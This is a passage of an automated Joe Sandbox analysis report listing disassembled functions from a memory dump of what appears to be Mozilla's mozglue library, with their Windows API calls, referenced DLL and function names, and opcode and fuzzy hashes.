Part of subcall function 6C9614B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C961248,6C961248,?), ref: 6C9614C9
Part of subcall function 6C9614B0: memcpy.VCRUNTIME140(?,6C961248,00000000,?,6C961248,?), ref: 6C9614EF

Part of subcall function 6C95EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C95EEE3

CreateFileW.KERNEL32 ref: 6C98F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C98F523

Strings

\oleacc.dll, xrefs: 6C98F4CB

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: d518d01f0ca43661939582b4f88c497fc29ee32d89852733bd1881840c03363d
Instruction ID: 0ac2ddd907ca895738686994e4bbb0b9dbe59f323118e3fff43de7bcabe9210d
Opcode Fuzzy Hash: d518d01f0ca43661939582b4f88c497fc29ee32d89852733bd1881840c03363d
Instruction Fuzzy Hash: AF41A2306097119FE720DF69D884AAAB7F4AF55318F501E1CF59193690EB30E989CB92

Function 6C9B74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C9B7526
__Init_thread_footer.LIBCMT ref: 6C9B7566
__Init_thread_footer.LIBCMT ref: 6C9B7597

Strings

kernel32.dll, xrefs: 6C9B7557
UnmapViewOfFile2, xrefs: 6C9B7552

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 23557f1d40be708f6bbc2a2792f37a9c9aaed32311ae154127c9057c78e59403
Instruction ID: 1df685725a88da7efbf8f0a152a9759a783a643af78f7bd8d018545e3b842531
Opcode Fuzzy Hash: 23557f1d40be708f6bbc2a2792f37a9c9aaed32311ae154127c9057c78e59403
Instruction Fuzzy Hash: C5210631705901B7CB148BE88815EDA73B6EB97B29B158629D40177B80CB31FA4585B1

Function 6C9BA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DF770,-00000001,?,6C9CE330,?,6C97BDF7), ref: 6C9BA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C97BDF7), ref: 6C9BA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C97BDF7), ref: 6C9BA7E4
LeaveCriticalSection.KERNEL32(6C9DF770), ref: 6C9BA80A

Strings

accelerator.dll, xrefs: 6C9BA7BF

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: ba91293ecb05d7c24d36abeef0107773f84bab4f44c617514d488f4734f6b4d5
Instruction ID: da276d4acd9729df64fabebca267984064de832ef571fb0321f01453ca5f3ecf
Opcode Fuzzy Hash: ba91293ecb05d7c24d36abeef0107773f84bab4f44c617514d488f4734f6b4d5
Instruction Fuzzy Hash: 38018FB0608604AFDB04DF55D8C5C5277B8FB89B59715806AE809EB741DB70E800CBA1

Function 6C95F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6C95EE51,?), ref: 6C95F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6C95F0C2

Strings

Could not find CoTaskMemFree, xrefs: 6C95F0E3
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6C95F0DC
ole32, xrefs: 6C95F0AD

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 4b75fef05408374ca99fac264195139c11a3a77d7403fc1ba8592179dcadbaf8
Instruction ID: 6819c9be832eed6dc8d85ec8aa52ad2e586d394a04d03ddbb0110f4c2f98bedb
Opcode Fuzzy Hash: 4b75fef05408374ca99fac264195139c11a3a77d7403fc1ba8592179dcadbaf8
Instruction Fuzzy Hash: 79E0D872348B06DBEF049B72980962737BC5B6322D368C429F602F2E40EE21F020C661

Function 6C990080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C967204), ref: 6C990088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6C9900A7
FreeLibrary.KERNEL32(?,6C967204), ref: 6C9900BE

Strings

wintrust.dll, xrefs: 6C990083
CryptCATAdminAcquireContext2, xrefs: 6C9900A1

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 55225c4d0e2523e96eecc38002d6bebc24c59a197e5e7a85dcea9ce664e9ddae
Instruction ID: d20e3e39dbff9f72cfa1bae2feb4fb00dd4a293afe26231eb3821f57ad67d7e0
Opcode Fuzzy Hash: 55225c4d0e2523e96eecc38002d6bebc24c59a197e5e7a85dcea9ce664e9ddae
Instruction Fuzzy Hash: BEE09A78648B45ABDF00AF6598097017AF8AB0B749F288465A926E2650DB74F0C0DF62

Function 6C9900D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C967235), ref: 6C9900D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6C9900F7
FreeLibrary.KERNEL32(?,6C967235), ref: 6C99010E

Strings

wintrust.dll, xrefs: 6C9900D3
CryptCATAdminCalcHashFromFileHandle2, xrefs: 6C9900F1

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: e40693f4fa2832d51e5d9d63547323e5665aebf4246078aeb5eecd231ea008e3
Instruction ID: a18ac8204e8f5146c85344b5b34ff8ae283b667bb3cd655677d721eba4ac65be
Opcode Fuzzy Hash: e40693f4fa2832d51e5d9d63547323e5665aebf4246078aeb5eecd231ea008e3
Instruction Fuzzy Hash: 9DE04F7024DB069BEF005F65C90A7213AFCA707249F349065AA5BB2700DB70F1D0CB62

Function 6C9BC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9BC0E9), ref: 6C9BC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C9BC437
FreeLibrary.KERNEL32(?,6C9BC0E9), ref: 6C9BC44C

Strings

NtQueryVirtualMemory, xrefs: 6C9BC431
ntdll.dll, xrefs: 6C9BC413

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 75447116e7f84d1ba79c2c520b1632e2762e3c57e17d798dad06c88f4c80e2b4
Instruction ID: 26514dfef8388c21d50cdb00729a29e21d8465bd9fc3025292338e675392cd70
Opcode Fuzzy Hash: 75447116e7f84d1ba79c2c520b1632e2762e3c57e17d798dad06c88f4c80e2b4
Instruction Fuzzy Hash: B2E0B678609B02ABDF00BF71C9197127BF8A74664DF244556AA06B2750EBB0F1C0CBA2

Function 6C9B75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9B748B,?), ref: 6C9B75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C9B75D7
FreeLibrary.KERNEL32(?,6C9B748B,?), ref: 6C9B75EC

Strings

RtlNtStatusToDosError, xrefs: 6C9B75D1
ntdll.dll, xrefs: 6C9B75B3

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: eb2c4b00dbded57a71e5562010aad004f3ad21e1dd7e22e8143ede82e691d04b
Instruction ID: 40df59ded1a13b81030f65468bd256df80f8dbf679591a478ff7ba88c2647446
Opcode Fuzzy Hash: eb2c4b00dbded57a71e5562010aad004f3ad21e1dd7e22e8143ede82e691d04b
Instruction Fuzzy Hash: 10E0BF71608B02BBDF005FE1C9497827AF8E74665DF309525A915F6640DBB0F2C5CF60

Function 6C9B7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9B7592), ref: 6C9B7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C9B7627
FreeLibrary.KERNEL32(?,6C9B7592), ref: 6C9B763C

Strings

NtUnmapViewOfSection, xrefs: 6C9B7621
ntdll.dll, xrefs: 6C9B7603

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: a3c78e7a0c4b1b37242d1c006560e891df1f3268808147cad3daf989c851b670
Instruction ID: 08fa2da5de14ba76223e689c1432a0da4e80ddd1b354ecd020877e9e2c025a77
Opcode Fuzzy Hash: a3c78e7a0c4b1b37242d1c006560e891df1f3268808147cad3daf989c851b670
Instruction Fuzzy Hash: EEE0BF70609F42ABDF005FE5D8097467AB8E75679DF208519E905F2740EB70F0848F65

Function 6C9BBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C9BBE49), ref: 6C9BBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C9BBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C9BBE49), ref: 6C9BBF38
RtlReAllocateHeap.NTDLL ref: 6C9BBF83
RtlFreeHeap.NTDLL ref: 6C9BBFA6

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: fac1ea168fb539be759c728daa2a1a4bc70a7676fafcdf65d9227617447c575e
Instruction ID: d2fb92434c0f73e8a4868eef144d7f2d3d94a70513ed11d55859f9e572d3dbfc
Opcode Fuzzy Hash: fac1ea168fb539be759c728daa2a1a4bc70a7676fafcdf65d9227617447c575e
Instruction Fuzzy Hash: CA51AC71A002029FE710DF69CCC0BABB7B6FF98314F284629D515A7B94D730F9168B81

Function 6C9A8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?,6C9CD734), ref: 6C9A8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?,6C9CD734), ref: 6C9A8EBF
free.MOZGLUE(?,?,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?), ref: 6C9A8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?,6C9CD734), ref: 6C9A8F46
free.MOZGLUE(?,?,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?), ref: 6C9A8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?), ref: 6C9A8F8F

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: e8af636b1f715f565ab26f8f3cd5aca5fcbabb8113d16e624d1802aa8c90361c
Instruction ID: e012b4b48f6f09e852f1ae7b25b2bc6b4bff92b210284a541196042c4a149aac
Opcode Fuzzy Hash: e8af636b1f715f565ab26f8f3cd5aca5fcbabb8113d16e624d1802aa8c90361c
Instruction Fuzzy Hash: D351C2B1A012568FEB18CF94D88076EB7B6FF48308F25052AD916AB740E731F916CBD5

Function 6C9660E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9660F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C966180
free.MOZGLUE(?,?,?,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C966211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C966229
free.MOZGLUE(?,?,?,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C96625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C966271

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 832bf1bbfc584e310abbd1fb11c1dee486a33933e62c530667f339d1a8a11485
Instruction ID: 277197432b3d2e20d07a38f459979d41e6299bfee315dc1d55d38f0b1b2d5919
Opcode Fuzzy Hash: 832bf1bbfc584e310abbd1fb11c1dee486a33933e62c530667f339d1a8a11485
Instruction Fuzzy Hash: 48518AB1A042068FFB14CFA9D8807AEB7B5EF45308F210539C616E7B91E731EA58CB51

Function 6C9A27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A289A
free.MOZGLUE(?,?,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A2910
free.MOZGLUE(00000001,?,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A294E

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 8dc565d372aa64bcd6f66d2e12182e9c5d3c42fea9bb05fb19ae70bb24775fb6
Instruction ID: 3b03178faf194123a2c98558c508a7d653ffab896ad1c099d497d1e6d20be9f3
Opcode Fuzzy Hash: 8dc565d372aa64bcd6f66d2e12182e9c5d3c42fea9bb05fb19ae70bb24775fb6
Instruction Fuzzy Hash: 494115B1A04A068FEB14CFA9D98436A73F5EF85708F240539D95AEB740E731E905CB51

Function 6C95CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C95CFF6
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C95D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C95D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C95D139

Strings

MOZ_CRASH(), xrefs: 6C95D187

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: e85a125eca344988a789748d39649748eb56f54624cf086519c45077b0b5a3a6
Instruction ID: 778ac0424efc2c184f9cf4d152fd8beb73a8cb29c4d2ddf13372aeb212a43488
Opcode Fuzzy Hash: e85a125eca344988a789748d39649748eb56f54624cf086519c45077b0b5a3a6
Instruction Fuzzy Hash: 6A41D132B05A168FDB48CE7C8D9036AB6B4EB49B14F650139E918F7784D7A1AD808BD1

Function 6C954DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C954E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C954E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C954EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C954F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C954F1E

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: bb14178c740c82bfc4c468047a3b685c75b069f3137399ea0622dc03361bfba7
Instruction ID: b1df8f9db74fa726fa3717e1108051fe95a492a82b2905c21d5392e83629f895
Opcode Fuzzy Hash: bb14178c740c82bfc4c468047a3b685c75b069f3137399ea0622dc03361bfba7
Instruction Fuzzy Hash: 7641DE716087019FC745CF29C88095BBBE8BF99344F508A2DF86697B41DB31E978CB92

Function 6C961530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C96159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C9615BC
moz_xmalloc.MOZGLUE(-00000001,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C9615E7
free.MOZGLUE(?,?,?,?,?,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C961606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C961637

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 31e365f89d59d7e06a2cb2fd489cb08d7e5c9c7207f9e57073af560ffe06ab28
Instruction ID: 4bae577ba2892f03bb6f1278af77a25595c102d96fd1185dc0671bae05ec1676
Opcode Fuzzy Hash: 31e365f89d59d7e06a2cb2fd489cb08d7e5c9c7207f9e57073af560ffe06ab28
Instruction Fuzzy Hash: 0231E872A001159BEB188E7DD85147EB7A9FB923647280B2DE423DBFD4EB30D9148792

Function 6C9BAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAD9D

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAE01
GetLastError.KERNEL32(?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAE1D
